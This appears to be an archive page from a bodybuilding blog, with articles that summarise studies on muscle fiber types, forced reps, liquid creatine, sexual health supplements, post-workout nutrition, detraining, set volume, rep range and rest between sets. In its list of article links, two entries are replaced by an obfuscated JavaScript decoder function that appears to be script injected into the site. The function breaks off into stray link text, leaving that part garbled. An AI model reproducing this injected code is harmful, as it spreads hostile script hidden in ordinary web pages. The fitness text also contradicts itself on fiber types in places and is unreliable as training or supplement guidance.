Weight Training & Muscle Fiber Type Changes

You may have heard bodybuilders claim that weight training causes your muscle fibers to actually change types. The idea is that by specific weight training, you can help cause muscle fiber changes, which in turn make it easier for future muscle growth.

The muscles are made up of three major fiber types, I and IIA and IIB(roman numerals standing for type 1 and type 2A and 2B). Type 2 are fast twitch and for power.  Type 2 contribute to most muscle growth(hypertrophy).  TypeIIB are the most responsive to muscle growth and are colored  white unlike the rest, which are red.  Type one are slow twitch and mainly for endurance. Type once can still grow in diameter, but it's not as significant. Each fiber type responds to different types of weights and rep ranges. Type 1 responds best to high reps light weight, whereas type 2 responds best to heavy weight with low reps per set.

The belief is that through training, some of these fiber types, will "act more like", either a Type 1 or 2 fiber.  In addition, you will also stimulate certain muscle fiber types for hypertrophy better than others. In order to do this, you must gear the weight training routine by the weight and reps you use. If you lift heavy with low reps to failure, you should get a increase in proprotion of type 2 fibers.

Muscle Fiber Type Research Studies:

A study published J Gerontol A Biol Sci Med Sci. 2000 Jul;55(7):B336-46 was done on 18 untrained older men. 9 did resistance training, while the other 9 served as a control. They did the resistance training for 16 weeks, 3 sets of leg press, half squat, and leg extension at 6-8 reps to failure with 1-2 minutes rest between sets. The results showed that I, IIA, IIB, fiber types all increased sized significantly.  One interesting effect was that the proportion of  type IIB fibers decreased and IIA fibers increased.  Type IIB are a little more responsive to hypertrophy, but all fiber types hypertrophied, leading to a overall muscle size increase.

Another study published in (Eur J Appl Physiol Occup Physiol. 1990;61(1-2):37-41) was done on 12 college age men, comparing endurance resistance to strength training resistance excercises. One group did 7.5 weeks of muscular strength resistance training(heavy weight low reps), then took 5.5 weeks break, then continued for 7.5 weeks doing the endurance training(high reps lighter weight). The other group first started endurance resistance, then went to strength. The results showed that for the first phase, both types of training increased the fiber size of I, IIA, and IIB. However, the group that did strength phase 2nd, showed a increase in size in the I and IIB fiber types, but the endurance group in the 2nd phase showed decreased size in all fiber types. This study suggests that both types of training increase all fiber type sizes, but switching to endurance training after strength training, will reverse the hypertrophy gains.

Finally the study (Eur J Appl Physiol. 2002 Nov;88(1-2):50-60. Epub 2002 Aug 15.) was done on 32 untrained men for 8 weeks. They were divided into 4 groups (low rep, intermediate rep, high rep, and control). The low rep group did 3-5 reps to failure for 4 sets with 3 minutes rest between sets. Intermediate group did 9-11 reps for 3 sets with 2 minutes of rest. The high rep group did 20-28 reps with one minute rest. The excercises chosen were leg press, squat, and knee extension 2-3 times a week(2 for first 4 weeks, then 3 times a week for final 4 weeks).  All muscle fiber types hypertrophied except in the control and high rep group. All groups however, did have a decrease in proportion of IIB fibers and increase in IIAB fibers. IIAB fibers will have less of the ability to increase in size than IIB. This study suggests that the muscle fiber type changes happened equally with all training groups, however the lower rep ranges were most effective at inducing overall hypertrophy. It appears that not even the 3-5 rep group could change the fibers to pure IIB fibers.

These studies show interesting results because it appears the common types of rep ranges bodybuilders do, will not change your muscle fiber to a higher proportion of IIB fibers(the ones most responsive to hypertrophy).  It appears you might have to use an extremely heavy weight, one that would cause failure below 4 reps, to have a switchover to more pure IIB fibers.  Focusing on only one type (IIB) is not the goal of bodybuilders however, as you would then be neglecting the other fiber types.   Using very heavy weights is also hard on the joints and increases risk of injury. Even though there was no switchover to more proportion of IIB fibers in these studies, these more faster twitch fibers(IIB, IIAB, IIA) seemed to respond better to the heavier weights and thefore there was more overall hypertrophy.

Studies have also shown that there is a wide variance in the proportion of Type 2 to type 1 fibers, not only between each muscle, but between individuals. This is one major reason why, some people struggle to gain muscle, while others gain it with almost no effort. This is also why some people are more fit, for strength lifting or sprinting, while others are more suited for running or other endurance activities.

Forced Reps vs. Regular reps

The high intensity workout routine advocates such as HIT, often use forced reps as a way to increase the intensity of a set. Forced reps are when you do a few reps in a set beyond muscular failure. When you can no longer do the positive (concentric) motion of the rep, you have hit muscular failure. In order to continue with the set, you have a workout partner help lift the weight on the positive portion, for an additional 2 or 3 more reps, called forced reps. Is there really any benefit to doing forced reps? Let’s see what some studies have found.

Forced rep studies:

A study was published in Int J Sports Med. 2003 Aug;24(6):410-8. done on 16 athletes comparing forced reps to traditional reps. The traditional reps were 4 sets of leg presses, 2 sets of squats and 2 sets of knee extensions (with 12 repetitions) with a 2-min recovery between the sets and 4 min between the exercises. For the forced sets they chose a weight higher so they had to have assistance to complete 12 reps(to failure). Both types of rep sets led to large spikes in in serum testosterone, free testosterone, cortisol and GH concentrations. However the forced reps had larger increases in GH and cortisol. The more obvious part of the study results, was that it had more of an impact on strength (neuromuscular function).

Another study (Can J Appl Physiol. 2004 Oct;29(5):527-43) was also done comparing forced repetitions to regular. One group was 8 strength trained individuals with years of experience, while the other group was active, but not in strength training. The traditional rep group did squats for 4 sets with a 2-min recovery between sets for 12 reps to failure. The forced rep group did a higher weight, so they could complete 8, and an additional 4 with assistance. Both groups had a spike in serum testosterone, free testosterone, cortisol and growth hormone concentrations, with the trained athletes having a larger response. All the hormonal responses were greater in the forced rep sets than in the normal sets. The study also found a greater neurmuscular adaption. Researchers concludedthat the forced rep for experienced athletes, can be a good alternative, and may even be better than traditional sets.

Although forced reps seem to induce more stress on the CNS and hormones, whether or not that actually leads to "real world" better strength and muscle gains, is unclear from current research. Regardless, forced rep training should be looked at as a temporary workout parameter, due to the potential for injury and overtraining. Long term overuse of it, would release a lot of cortisol and overstress the CNS, leading to overtraining. The cons would outweigh the benefits in the long run, as you would be causing more stress to the body than is necessary for optimal muscle stimulation. Forced reps can be a good way however, to help shock your muscles into new growth, if you are currently on a plateau. Eventually your muscles will adapt to forced rep training and you will plateau again, just like with any training routine.

For additional reading:

Training to muscle failure

Does Liquid (Serum) Creatine Work?

For many years now we have seen supplement stores continue to sell the sham called liquid creatine sometimes also called serum creatine. Many bodybuilders today know its a scam, but then why is there still a demand? It's amazing how supplement companies can prey on naive people, by using biased or faulty studies.

I decided to search around and noticed that many websites still have some older articles up, that say that liquid creatine works as well, if not better, than creatine monohydrate powder. I believe one reason why liquid creatine is around to this day, is many bodybuilding sites don't update their information articles. I constantly am updating my articles on this blog based on new evidence, so that won't be a problem here.

Liquid Creatine Studies:

A study published in J Pharm Biomed Anal. 29(5):939 showed that liquid creatine had only 2% of actual creatine compared to label claims. Another study ( Med. Sci. Sports Exere. 33:s204.) on liquid creatine products showed it didn't work. The reason why the liquid creatine products aren't meeting the label demands and don't work, is the creatine breaks down into metabolites, when it's stored in liquid.

For additional information about the various types of creatine forms out there, read a previous article of mine: Which creatine works the best?

Sexual Health Supplements

Bodybuilders are active healthy people and most are in tune with supplementation. Although this topic is a bit off topic, I think it can be informative for many bodybuilders, especially since some of these supplements are commonly taken by bodybuilders already. I will go through some of the common sexual health supplements, and whether they work or not.

Tribulus: Tribulus has been touted as a testosterone booster and aphrodesiac. Research shows the testosterone booster claim unfounded, but it seems to be a valid aphrodesiac (libido booster). Read more about it in a previous article of mine Does Tribulus Terresteris Work?

Yohimbe: This is used by bodybuilders for fat loss, spot reduction, and sexual health. We have a previous article on Yohimbe.

Horny goat weed: This has been a common aphrodesiac supplement for many years. How much it helps for libido is debatable.

Arginine/ no2 supplements: Many bodybuilders take this for muscle gains, but arginine and no2 supplements should also result in increased blood flow to the penis. Research has shown that no2/arginine supplementation will actually not help, with neither muscle building or sexual health. You can read more about this in a previous article of ours: Do no2 supplements increase muscle gains?

Post Workout Nutrition

The post-workout meal is one of the most important meals of the week. After your workout, a lot of different hormones are released in response to your vigorous workout. What nutrients you give your body postworkout, will be important in causing a cascade of hormone reactions, to set the tone for the rest of the day. Traditionally bodybuilders consume high protein and carbohydrates immediately post workout, but lets see what science says on the issue.

Post Workout Nutrition Research Studies:

While the conerstone of post-workout nutrition, traditionally has been a high carb drink immediately after a workout, many bodybuilders now advocate protein added also. A study (Am J Physiol Endocrinol Metab. 2005 Apr;288(4):E645-53. Epub 2004 Nov 23) showed increased protein synthesis from amino acid plus carbs over the carb only. Another study (J Appl Physiol. 2004 Feb;96(2):674-8. Epub 2003 Oct 31) also found net positive body protein balance, was better with amino acids than carbs post workout. A study published in Diabetes. 1999 May;48(5):949-57, showed insulin had 3 times greater effect on amino acid transport.  Researchers concluded that low amino acid availability, could limit the insulin's effect on muscle protein synthesis after exercise.

There is some conflicting results, on the factor of protein added to carbs, on glycogen synthesis and recovery. I believe one reason why there is some conflicting results can be found in research study published in Am J Clin Nutr. 2000 Jul;72(1):106-11. In the study glycogen synthesis was increased from either, protein + carbs drink or simply increasing the carb intake, compared to the normal carb drink group. The protein plus carbs and the higher carb group, had a higher insulin response than the normal carb group. In other words, adding protein and aminos to a post workout drink, just may be a expensive form of glucose(once it's converted in the body). Therefore, the amount of carbs to cause a adequate insulin spike, is the main factor in glycogen synthesis and recovery. I should also add that, glycogen recovery is of little importance to bodybuilders. Our main focus, is post workout nutrition's effect on protein synthesis and anabolic hormone production.

Carbohydrates are important post workout because of the hormonal changes they cause with insulin. IGF-1 releases when growth hormone and insulin are high. After a workout your insulin will be low, but your growth hormone levels should be high. By having a carb drink post workout, you will spike your insulin and cause the release of IGF-1 as a result. IGF-1 is extremely important in muscle growth. Another reason carbs are important is in controlling cortisol. Cortisol starts producing heavily near the end of a workout and we know cortisol production is blunted by spikes in insulin, which high carb intake causes.

A study in J Appl Physiol. 1998 Oct;85(4):1544-55 showed differences in hormonal changes for days, between the placebo and those supplementing carbs and protein for pre and post workout meals. In this study, growth hormone and testosterone were elevated immediately post workout. On day one, growth hormone increased more for the supplemented group. Cortisol production post workout was blunted by the supplement group. IGF-1 was also increased for the supplement group on days 2 and 3. This study shows that what you eat before and after workout, can effect your hormonal response for multiple days.

What should I eat for my post-workout meal?

You should have carbohydrates and protein as soon as possible post-workout, preferably in a liquid form. These days, many bodybuilders are now advocating low glycemic carbs after workout. These bodybuilders believe the massive high glycemic carbs post workout, leads long term to increased insulin tolerance(decreased insulin sensitivity). Maintaining insulin sensitivity long term, is crucial because it leads to more muscle gains, fat loss, and reduced risk for diabetes. Many bodybuilders have reported no reduced gains, resulting from a switch to low glycemic carbs postworkout.

Weight Training Routine Studies

I’ve just completed a series of articles on our blog here, breaking down various aspects of weight training, trying to understand how to stimulate maximum muscle gains from our workouts.

Workout research articles:

- Negatives better than positives?
- Training to muscle failure
- Forced reps vs. regular reps
- Best rep range (weight intensity)
- function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-optimum-muscle-growth/">Best set volume (per week and muscle)
- How often to work a muscle a week?
- Best set rest time
- Muscle fascia stretching
- Stimulating hyperplasia growth
- Routine based on fiber type
- Weight training & muscle fiber type changes
- function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-release-of-testosterone-and-growth-hormone/">Leg workouts impacts on overall growth
- Effects of break from weight training
- Periodization is important for long term gains

I think the wide differences in opinions among bodybuilders about workout routines, is because there really is no one "magic routine". There is only certain general guidelines you must follow, such as medium reps heavy weight and periodization for optimum long term gains. If you did a workout that followed the general guidelines above for hypertrophy, you still would have to change it eventually or your gains will plateau. You can still have your main workout you have for muscle growth, but you should change from it, in order to have better long term gains.

I realize that most of these studies done for these articles, don't give the full answer because many of them are done on untrained or recreation ally trained individuals. However, when you put a group of studies together, you can start seeing a trend. After reading hundreds of studies to come up with these articles and drawing from my own experience, I believe the main factors to creating an optimum weight training routine are volume(total sets a week), rep range(weight intensity), eccentric(negative) speed, muscle fascia stretching, and most important of all for long term strength and muscle gains periodization.

Effects of Detraining (break from weight training)

After a month or two of heavy lifting, most bodybuilders will take a week or two off. Bodybuilding experts recommend it because it allows your body to recuperate it’s hormonal levels and help overcome plateaus. Bodybuilders often come back and break through previous plateaus within a few weeks, after a couple weeks off. I see taking breaks as a form of periodization, since you are essentially taking 2 steps back and changing your muscle adaption(or lack thereof), in order to get one step ahead.

Research studies on detraining:

I was curious to see what really happens after a break from weight training in experienced weightlifters. I decided to search through studies to get an answer.

An old study published in Med Sci Sports Exerc. 1993 Aug;25(8):929-35 where 12 powerlifters took 2 weeks off. Interesting enough strength did not decrease at significant levels, neither did their type 1(endurance) muscle fibers or fiber composition percent. However, the type 2(mainly responsbile for hypertrophy) decreased significantly (by 6.4%). Growth hormone levels increased 58.3%, testosterone increased 19.2%, and the testosterone to cortisol ratio 67.6% increased, whereas plasma cortisol -21.5% and creatine kinase enzyme levels -82.3% decreased.

A very recent study was published in J Strength Cond Res. 2007 Aug;21(3):768-75 done on 46 men. It compared completely stopping resistance for 4 weeks training to tapering it( reducing volume but intensity the same). This study was done immediately after 16 weeks of consistent resistance training. They found that the total break group had significant declines in strength and power, 9% and -17% respectively. The total break group also had increase in resting levels of IGF-1, a powerful hormone involved in muscle growth. The taper group had slight increases in strength and increase in IGFBP-3 resting levels. IGFBP-3 is the protein that binds to IGF-1 to deactivate it.

J Strength Cond Res. 2002 Aug;16(3):373-82 published a study of the effects of 6 weeks of detraining on recreationally trained men weightlifters. 9 were put in detraining group and 7 in resistance group during the 6 weeks. They were measured at week 3 and 6 for one rep max, power, and hormonal levels. The only effect was a significant decrease in power, but not in strength(in the one rep max). While the bench press strength increased in the restistance group there was no changes in any group for 1RM squat, body mass, percent body fat, or resting concentrations of growth hormone, follicle-stimulating hormone, luteinizing hormone, sex hormone-binding globulin, testosterone, cortisol, or adrenocorticotropin.

From the first two studies, we can see a large increase in anabolic hormones within the first weeks after the break. In the 3rd study there was no change in hormones or strength loss, however it was done on recreationally trained weightlifters. I believe the fact they were recreational, means they probably didn't workout regularly enough, to experience similiar strength loss and hormone rebound as the previous groups in the 2 studies. The first study was experienced power athletes and the 2nd worked out regularly for 4 months before the study.

These studies help point out that, taking a break will help recoup hormonal levels after even a couple weeks break from intense weight training routines. These breaks will help combat against overtraining caused by long term increases in cortisol and lowering of anabolic hormones such as Testosterone, GH, and IGF-1. They also help point out, that the ones who benefit the most from the break, are those who train intensely for months with consistency.

Set volume (per muscle & week) and optimum muscle growth

How many sets you should do per muscle per workout, is a great debate among bodybuilders. Workout routines all vary widely, between one set to as many as 20 sets per muscle in a workout! Some also believe that different muscle groups, should have different number of sets. Workout routines also vary in how often they target the muscle. Some bodybuilders might hit the chest for 10 sets just once a week, others for 2 sets 3 times a week.

Studies on number of sets per muscle per workout:

The one set group believes that one set per muscle, if done intensely, is enough to stimulate the muscles adequately for growth. The multi-set group says you must do multiple sets in a row to fatigue, before the muscle is fully stimulated for growth.

A study published Med Sci Sports Exerc. 2003 Apr;35(4):644-54 was done on 11 men to monitor their hormonal releases after various sets amount. They were put into 3 groups, the 5 rep (88% of 1 rep max) 3 minute rests, 10 rep sets (75% of rep max) 2 minute rest, and 15 reps (60% rep max) with 1 minute rests. The research showed no differences in testosterone in any of the groups, however HGH and cortisol increased with the 10 and 15 rep groups after additional sets. HGH and cortisol responses stopped increasing, after the 4th set for the 10 rep group and 6th set for the 15 rep group. This study shows that in the medium rep range(above the 5 reps), multiple sets seemed to stimulate a hormonal adaption up to a point, based on weight intensity used.

A study published J Strength Cond Res. 2007 May;21(2):578-82 was done on three groups. The first group was 10 untrained men and women for 9 weeks, who did one set at 8-12 reps for 9 weeks. They then switched to 3 sets for another 9 weeks. The other group started with 3 sets and then after 9 weeks switched to one set. The control did not do weight training. The results showed the 3 set training had significantly better one rep strength gains than the one set group.

Two other studies J Strength Cond Res. 2001 Aug;15(3):284 9 and Strength Cond Res. 2002 Nov;16(4):525-9 I found also showed 3 sets were better than one for strength gains. Another study J Strength Cond Res. 2007 Feb;21(1):157 63. showed that 3 sets did better than one for strength and muscle gains, but for lower body(legs) only. I think the fact they measured the trap muscles may be why, as traps are harder to grow especially if they chose the wrong upper body excercises.

A comprehensive study published in J Strength Cond Res. 2004 Feb;18(1):35-47 analyzed 16 past studies that met specific requirements for legitimacy. They concluded that in the very short term, single set programs were adequate in untrained, but for experienced multi-set routines gave better strength gains. Researchers Galvão DA, Taaffe DR at the School of Human Movement Studies Australia J Strength Cond Res. 2004 Aug;18(3):660-7 reported recent evidence showing that multi sets are superior to single set training routines.

These studies point to the conclusion, that multiple sets per muscle per workout, is better for strength and muscle gains. Although many of these studies measured strength only, muscle and strength are heavily correlated with each other anyways. Becoming stronger is often mainly a result of muscle growth. Muscle growth also usually follows strength gains, due to adaptions the muscles must make, provided you eat enough calories to build the muscle up.

Studies on total set volume per week:

Another thing to consider, is that increasing to multi sets in the previous studies, may have gave better results because it hit a total weekly set volume threshold, that was more optimum for muscle growth. Total volume of sets per muscle per week may be more important factor, than how many sets per muscle you do in a given workout.

Many of the top excercise researchers over the last years, Kraemer WJ, Adams K, Cafarelli E, Dudley GA, Dooly C, Feigenbaum MS, Fleck SJ, Franklin B, Fry AC, Hoffman JR, Newton RU, Potteiger J, Stone MH, Ratamess NA, Triplett-McBride T; as part of the American College of Sports Medicine published in Med Sci Sports Exerc. 2002 Feb;34(2):364-80 a summary on resistance training and goals. They recommended multi set and higher volume programs, for maximizing hypertrophy.

A study done by the spanish olympic committe was published in J Strength Cond Res. 2005 Aug;19(3):689-97 done on 51 experienced (more than 3 years) trained weightlifters, to see the effects of strength on different training volumes for 10 weeks with the squat, clean & jerk, and snatch. They were split into 3 groups of low, medium, and high volume group. All did excercises 4 to 5 times a week with a periodized routine using similiar excercises. The volume differences were LVG (1,923 repetitions), MVG (2,481 repetitions), and HVG (3,030 repetitions). The research showed all three groups gained strength. There was no significant differences between the low and high volume group, but the medium volume group had significantly higher strength gains than the other two groups.

A year later the same researchers did another similiar study published in J Strength Cond Res. 2006 Feb;20(1):73-81. The differences between this study and the previous, was that it was done on 29 experienced weightlifters and the total weekly volume(repetitions) was equal among each other and the previous study. They instead changed how many sets of these, were done at 90% percent of the 1 rep max weight. The LIG (46 repetitions), MIG (93 repetitions), and HIG (184 repetitions). Once again the medium volume group did better in strength gains than the low and high volume group.

These studies show that the medium group did better in strength just like the previous study, despite changes in intensity of some of the sets. The surprising thing about these studies, is the amount of sets they did at medium volume (2481 repetions). This would average out to 41 sets (if done at 12 reps) 5 times a week. The low volume group would be 31 sets(if done at 12 reps 5 times a week). Most bodybuilders would consider the medium volume group, actually very high volume, yet it seemed to do the best for these experienced weight lifters.

I have a couple of theories on why this very high volume of sets worked ok for these weightlifters in these studies. The first theory is, that with the small sample size(32 is not really that big) and them being very experienced athletes, it is possible that this group on average had very good genetics and recovery abilitiy. Therefore on average, they would respond better to a really high volume. The other theory and probably the most plausible, is that they normally did lower volume and only responded to this high volume because it shocked their muscles into new growth. Both theories could also explain why the medium group did better than the higher volume group because the high volume group, probably was overkill and did more harm than good, for shocking them out of a plateau or their recovery abilities.

Overall, most of the studies shown here and available out there, conclude that multi-set or higher volume workout programs are better for muscle growth than single set or lower volume routines. One must keep in mind, that you can't do any workout program all the time. Your body will adapt to just one training program. You should follow periodization principles and change your workout volume and intensity every so often, away from your main workout, to keep the muscles from adapting. You of course though also have to gain weight to keep building muscle.

Best Rep Range (Weight Load) for Muscle Growth

How many reps and weight to use for a set, is a controversial topic among bodybuilders. Many bodybuilders look for that "magic rep number" in their training routine that stimulates the muscle best for growth. Most bodybuilders believe that very heavy weight (below 5 reps to failure), mostly causes strength gains and very little muscle growth. On the flipside, high reps light weight, causes mostly muscular endurance and no strength or muscle gains. Part of the reason of these beliefs, is based on experience and on the science of muscle fiber types.

We know from basic physiology that there are two major muscle fiber types. They are anatomically, metabolically, and functionally different. There is no disagreement here as this is well documented in science. The type 2 muscle fibers, which are responsible for power and most muscle growth (hypertrophy), respond best to heavy weights. The fast twitch type 1 muscle fibers, do better with light weight done repeatedly multiple times.

So why the controversy? It seems like the perfect bodybuilder workout, would be to stimulate the type 2 muscle fibers the most by doing one rep max sets to failure. This is where it gets complicated. First you are neglecting your other muscle fiber types, which may make up the majority of your muscle. The type 1 fibers don't grow as well, but they do have the ability to get bigger. They also can increase glycogen stores, which helps draw in water, making your muscles bigger. Another factor is called time under tension. Short sets with a few reps, may not be enough time to adequately cause a cascade of hormonal reactions needed to stimulate significant muscle growth.

Bodybuilders through experience have found that very low reps are good for strength, but not helpful for building up muscle size. Powerlifters traditionally do low reps, usually around rep 5. Very high reps(like 15+) also seem to not be helpful for muscle growth either. The key seems to be somewhere in the middle between these extremes, where you are stimulating both muscle fibers simultaneously to a significant degree.

Rep Range (weight) and hypertrophy studies:

I decided to see if I could find some research studies to help me zero in on the "magic rep range" between the 5 and 15 rep marks.

A study was published J Physiol. 2004 Aug 1;558(Pt 3):1005-12 done on 15 men for 3 months. They did excercises for 4-5 sets starting out at a lighter 12 RM. Every few weeks the weight increased to eventually 6 RM. Satellite cell activity was significant in both groups, especially at the one and 3 month mark. Muscle hypertrophy happened significantly in both groups too, 6.7% at 30 days and 30% at 90 days. Rep range didn't seem to have much of a factor according to this study.

Another study was published in J Physiol 547.P, P16 measuring the quadriceps between 60% and 90% of the one rep max. They found that anything above 65% had no changes in protein synthesis. This concludes that using a heavier weight than 65% of your, probably won't increase muscle growth. A study published in Eur J Appl Physiol. 2002 Nov;88(1-2):50-60. Epub 2002 Aug 15 done on 32 untrained men for 8 weeks. One group did 3-5 reps for 4 sets with 3 minutes rest. The second group did 9-11 reps to failure with 2 minute rest. The 3rd group did high reps of 20-28 with one minute rest between sets. Another group was the control. Before and after the 8 weeks they measured fiber-type composition, cross-sectional area, myosin heavy chain (MHC) content, and capillarization cardiovascularity, muscle endurance, and one rep max. The results showed all 3 fiber types hypertrophied with all the groups, the low and intermediate group had more muscle hypertrophy. The changes in muscle fibers were the same in all resistance groups. Researchers concluded in untrained men, low and medium reps (weight intensity) gave the same training adaptions.

These studies imply, that weights anywhere between 6-12 reps in a set to failure, are going to give all similiar muscle growth. One problem with these studies, is that they were done on untrained or inexperienced weightlifters. High reps wouldn't do much for a experienced lifter.

They also don't take into account, that a bodybuilder will have to occasionally add weight and decrease his reps in order to get his muscles to continually adapt. If you keep doing reps at 10-12 for the same weight every week, you will plateau very quickly. Periodization also teaches using different rep ranges(among other things) to keep the muscles guessing.

Another thing to consider is muscle fiber makeup. The amount of each type 2 fibers we have in our muscles, varies widely by a large percentage between each muscle and between people. Therefore it will take different weight loads and repetitions to stimulate the muscle optimally. You can read a previous article, where I discuss more about muscle fiber type and training Weight training based on muscle fiber type

In summary, there is no exact magic rep number/weight load because you will have to constantly change it, to keep your muscles adapting to new stimulus. Even if you could do the same workout everytime, everyone has such different muscle fiber makeup, which optimally stimulates muscles at different weights and repetitions, depending on percentage of type 2 fibers in a muscle.

Best Set Rest Time for Muscle Gains

The rest period taken between sets in your training routine, is a controversial debate in bodybuilding. I’ve seen prominent bodybuilders recommended everything from 20 seconds to 3 minutes for maximum muscle gains. Maybe science can help us answer this question.

Workout Set Rest Time Studies:

A study was published J Strength Cond Res. 2005 Aug;19(3):572-82 on 13 recreational strength trained men for 6 months. The purpose was to compare 3 months of 2 minute rests to 3 months of 5 minute rests. What were the results? Not only was there no hormonal change differences between the two groups, muscle and strength gains were the same.

In a fairly recent publication J Strength Cond Res. 2006 Nov;20(4):978-84 JM Willardson made some interesting conclusions.

"When training for muscular hypertrophy, consecutive sets should be performed prior to when full recovery has taken place. Shorter rest intervals of 30-60 seconds between sets have been associated with higher acute increases in growth hormone, which may contribute to the hypertrophic effect."

He however also concluded that rest time is just one piece of the puzzle:

"Prescribing the appropriate rest interval does not ensure a desired outcome if other components such as intensity and volume are not prescribed appropriately."

In other words he is saying, shorter rest times are better for muscle growth, but the number of sets and weight you use is also important part of the equation.


« Previous PageNext Page »